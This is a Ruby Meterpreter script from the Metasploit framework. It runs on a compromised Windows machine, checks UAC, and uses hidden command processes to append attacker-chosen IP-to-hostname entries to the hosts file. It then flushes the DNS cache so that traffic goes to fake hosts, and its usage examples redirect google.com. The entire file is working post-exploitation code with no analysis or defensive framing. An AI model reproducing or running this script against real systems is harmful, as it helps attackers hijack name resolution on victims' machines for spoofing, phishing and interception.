101 lines
3.6 KiB
Ruby
101 lines
3.6 KiB
Ruby
# Meterpreter script for modifying the hosts file in windows
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# given a single entrie or several in a file and clear the
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# DNS cache on the target machine.
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# This script works with Windows 2000,Windows XP,Windows 2003,
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# Windows Vista and Windows 2008.
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# Provided: carlos_perez[at]darkoperator[dot]com
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# Version: 0.1.0
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# Note: in Vista UAC must be disabled to be able to perform hosts
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# file modifications.
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################## Variable Declarations ##################
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session = client
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# Setting Arguments
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@@exec_opts = Rex::Parser::Arguments.new(
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"-h" => [ false, "Help Options." ],
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"-e" => [ true, "Host entry in the format of IP,Hostname." ],
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"-l" => [ true, "Text file with list of entries in the format of IP,Hostname. One per line." ]
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)
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def usage
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print_line("This Meterpreter script is for adding entries in to the Windows Hosts file.")
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print_line("Since Windows will check first the Hosts file instead of the configured DNS Server")
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print_line("it will assist in diverting traffic to the fake entry or entries. Either a single")
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print_line("entry can be provided or a series of entries provided a file with one per line.")
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print_line(@@exec_opts.usage)
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print_line("Example:\n\n")
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print_line("run hostsedit -e 127.0.0.1,google.com\n")
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print_line("run hostsedit -l /tmp/fakednsentries.txt\n\n")
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raise Rex::Script::Completed
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end
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record = ""
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#Set path to the hosts file
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hosts = session.fs.file.expand_path("%SYSTEMROOT%")+"\\System32\\drivers\\etc\\hosts"
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#Function check if UAC is enabled
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def checkuac(session)
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winver = session.sys.config.sysinfo
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if winver["OS"] =~ (/Windows 7|Vista/)
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print_status("Checking if UAC is enabled.")
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open_key = session.sys.registry.open_key(HKEY_LOCAL_MACHINE,"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Policies\\System", KEY_READ)
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value = open_key.query_value("EnableLUA").data
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if value == 1
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print_status("\tUAC is enabled")
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raise "Unable to continue UAC is enabbled."
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else
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print_status("\tUAC is disabled")
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status = false
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end
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end
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end
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#Function for adding record to hosts file
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def add2hosts(session,record,hosts)
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ip,host = record.split(",")
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print_status("Adding Record for Host #{host} with IP #{ip}")
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session.sys.process.execute("cmd /c echo #{ip}\t#{host} >> #{hosts}",nil, {'Hidden' => true})
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end
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#Make a backup of the hosts file on the target
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def backuphosts(session,hosts)
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random = sprintf("%.5d",rand(100000))
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print_status("Making Backup of the hosts file.")
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session.sys.process.execute("cmd /c copy #{hosts} #{hosts}#{random}.back",nil, {'Hidden' => true})
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print_status("Backup loacated in #{hosts}#{random}.back")
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end
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# Clear DNS Cached entries
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def cleardnscach(session)
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print_status("Clearing the DNS Cache")
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session.sys.process.execute("cmd /c ipconfig /flushdns",nil, {'Hidden' => true})
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end
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if client.platform =~ /win32|win64/
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@@exec_opts.parse(args) { |opt, idx, val|
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case opt
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when "-e"
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checkuac(session)
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backuphosts(session,hosts)
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add2hosts(session,val,hosts)
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cleardnscach(session)
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when "-l"
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checkuac(session)
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if not ::File.exists?(val)
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raise "File #{val} does not exists!"
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else
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backuphosts(session,hosts)
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::File.open(val, "r").each_line do |line|
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next if line.strip.length < 1
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next if line[0,1] == "#"
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add2hosts(session,line.chomp,hosts)
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end
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cleardnscach(session)
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end
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when "-h"
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usage
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end
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}
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if args.length == 0
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usage
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end
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else
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print_error("This version of Meterpreter is not supported with this Script!")
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raise Rex::Script::Completed
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end
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